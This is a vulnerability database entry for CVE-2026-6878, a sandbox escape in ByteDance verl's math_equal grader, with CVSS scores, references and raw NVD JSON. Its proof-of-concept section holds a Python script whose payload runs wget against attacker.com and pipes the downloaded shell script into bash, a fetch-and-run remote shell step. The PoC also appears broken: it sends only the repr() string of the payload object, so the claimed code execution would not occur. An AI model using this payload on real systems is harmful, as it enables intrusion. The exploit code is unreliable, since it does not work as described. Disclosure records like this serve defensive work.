CVE-2026-6878

Description

A vulnerability was identified in ByteDance verl up to 0.7.0. Affected is the function math_equal of the file prime_math/grader.py. The manipulation leads to sandbox issue. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

5.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ByteDance verl <= 0.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-6878
# Exploiting math_equal sandbox escape

import requests

def exploit(target_url):
    # Malicious payload leveraging __eq__ for RCE
    # The sandbox compares this object with another, triggering the code
    class ExploitPayload:
        def __eq__(self, other):
            # Arbitrary code execution (e.g., reverse shell)
            import os
            os.system('wget http://attacker.com/shell.sh -O /tmp/sh.sh && bash /tmp/sh.sh')
            return True

    # Serialize or pass the object depending on the API
    # Assuming the API accepts JSON representation or code
    payload_data = {
        'func': 'math_equal',
        'args': [repr(ExploitPayload()), 1]
    }
    
    try:
        print(f"[*] Sending payload to {target_url}...")
        response = requests.post(target_url, json=payload_data)
        if response.status_code == 200:
            print("[+] Payload sent successfully, check your listener.")
        else:
            print(f"[-] Request failed with status {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Replace with actual target endpoint
    exploit("http://127.0.0.1:8000/api/grade")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6878
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6878
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6878/
[4] VulDB https://vuldb.com/cve/CVE-2026-6878
[5] https://github.com/zast-ai/vulnerability-reports/blob/main/bytedance/verl_rce.md
[6] https://vuldb.com/submit/795257
[7] https://vuldb.com/vuln/359040
[8] https://vuldb.com/vuln/359040/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6878", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:47.233", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in ByteDance verl up to 0.7.0. Affected is the function math_equal of the file prime_math/grader.py. The manipulation leads to sandbox issue. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "baseScore": 5.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-264"}, {"lang": "en", "value": "CWE-265"}]}], "references": [{"url": "https://github.com/zast-ai/vulnerability-reports/blob/main/bytedance/verl_rce.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/795257", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359040", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359040/cti", "source": "[email protected]"}]}}